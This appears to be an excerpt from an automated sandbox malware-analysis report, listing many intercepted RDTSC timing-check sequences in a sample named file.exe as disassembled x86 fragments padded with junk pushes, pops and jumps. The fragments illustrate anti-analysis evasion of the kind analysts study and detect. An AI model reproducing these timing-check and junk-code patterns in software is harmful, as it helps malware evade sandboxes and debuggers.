Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D725EA second address: D7260C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6DFCC4183Ch 0x0000000f popad 0x00000010 push eax 0x00000011 je 00007F6DFCC41848h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7260C second address: D72610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72610 second address: D54D2E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or ecx, dword ptr [ebp+122D2794h] 0x00000011 call dword ptr [ebp+122D2789h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F6DFCC41848h 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72A2A second address: D72A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72BF0 second address: D72BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72C5D second address: D72C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CDE second address: D72D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F6DFCC4185Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6DFCC41848h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72D05 second address: D72D33 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6DFD003CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b call 00007F6DFD003CC6h 0x00000010 cmc 0x00000011 pop ecx 0x00000012 push eax 0x00000013 ja 00007F6DFD003CC4h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72D33 second address: D72D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7348E second address: D73492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73492 second address: D73496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D737C3 second address: D737C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9EAC6 second address: D9EAF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6DFCC4183Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jnc 00007F6DFCC41842h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F000 second address: D9F011 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F16A second address: D9F190 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6DFCC41842h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F190 second address: D9F19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6DFD003CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F459 second address: D9F45E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F45E second address: D9F464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D36 second address: DA5D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5FCA second address: DA5FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F6DFD003CBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5FD8 second address: DA5FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA63FC second address: DA6414 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6DFD003CB8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F6DFD003CB6h 0x00000012 jp 00007F6DFD003CB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB302 second address: DAB306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB306 second address: DAB325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6DFD003CBEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB325 second address: DAB32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB495 second address: DAB499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB499 second address: DAB4BE instructions: 0x00000000 rdtsc 0x00000002 je 00007F6DFCC41836h 0x00000008 jmp 00007F6DFCC41840h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jne 00007F6DFCC41836h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB4BE second address: DAB4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F6DFD003CCAh 0x0000000d jmp 00007F6DFD003CC4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB4DF second address: DAB4F9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6DFCC41842h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABE7E second address: DABE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABE82 second address: DABE94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC4183Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABE94 second address: DABE9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABFCD second address: DABFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABFD1 second address: DABFE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F6DFD003CBCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABFE7 second address: DABFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC194 second address: DAC19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6DFD003CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC19E second address: DAC1A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC1A2 second address: DAC1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB60BC second address: DB60F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F6DFCC41849h 0x00000011 popad 0x00000012 jmp 00007F6DFCC41840h 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB60F5 second address: DB60FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D257DA second address: D257DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5C88 second address: DB5CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CBCh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F6DFD003CB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5CA2 second address: DB5CAB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5CAB second address: DB5CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jng 00007F6DFD003CBCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5DF5 second address: DB5DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8232 second address: DB8248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8248 second address: DB8252 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8252 second address: DB8256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9C8D second address: DB9C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9C91 second address: DB9C9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEAFC second address: DBEB1F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6DFCC41848h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEB1F second address: DBEB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CBEh 0x00000009 jc 00007F6DFD003CB6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F6DFD003CBEh 0x00000019 jg 00007F6DFD003CB6h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEB4D second address: DBEB59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007F6DFCC41836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEB59 second address: DBEB79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC0h 0x00000007 jbe 00007F6DFD003CC2h 0x0000000d jo 00007F6DFD003CB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDE2E second address: DBDE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6DFCC4183Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDE3A second address: DBDE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE11A second address: DBE122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE3FD second address: DBE40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jp 00007F6DFD003CB6h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE40F second address: DBE415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE415 second address: DBE419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE419 second address: DBE41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1C9B second address: DC1CA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20800 second address: D2083E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC4183Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6DFCC41843h 0x0000000e jmp 00007F6DFCC41848h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2083E second address: D20842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC13B1 second address: DC13C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41841h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC13C6 second address: DC13CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC19A8 second address: DC19B8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6DFCC41836h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC19B8 second address: DC19BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC19BC second address: DC19C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6916 second address: DC692B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CC0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC692B second address: DC6935 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6DFCC41854h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6ABB second address: DC6AE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F6DFD003CCBh 0x0000000f jmp 00007F6DFD003CBFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7320E second address: D73212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73212 second address: D73220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F6DFD003CB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73220 second address: D73294 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F6DFCC41838h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 or dword ptr [ebp+122D1A63h], edi 0x0000002a mov ebx, dword ptr [ebp+124863D8h] 0x00000030 add dword ptr [ebp+122D2F3Eh], ebx 0x00000036 add eax, ebx 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F6DFCC41838h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D2C86h], edx 0x00000058 push eax 0x00000059 pushad 0x0000005a jmp 00007F6DFCC4183Fh 0x0000005f push eax 0x00000060 push edx 0x00000061 push esi 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC78DF second address: DC78E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC78E8 second address: DC78EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF1DA second address: DCF1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF1E0 second address: DCF1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF8AB second address: DCF8E2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jnl 00007F6DFD003CB6h 0x0000000f jg 00007F6DFD003CB6h 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6DFD003CC3h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jo 00007F6DFD003CB6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF8E2 second address: DCF8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC4183Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF8F1 second address: DCF90B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF90B second address: DCF90F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF90F second address: DCF915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFBF6 second address: DCFBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFBFA second address: DCFC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F6DFD003CC5h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFC1F second address: DCFC23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD04F3 second address: DD04F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD04F7 second address: DD04FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD41BE second address: DD41CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jl 00007F6DFD003CB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD434E second address: DD436D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41849h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD465B second address: DD4663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4975 second address: DD498B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC4183Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F6DFCC41836h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD498B second address: DD498F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD498F second address: DD4995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4995 second address: DD49A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD49A9 second address: DD49D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFCC41842h 0x00000009 jns 00007F6DFCC41836h 0x0000000f jne 00007F6DFCC41836h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jc 00007F6DFCC41836h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD49D4 second address: DD49DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
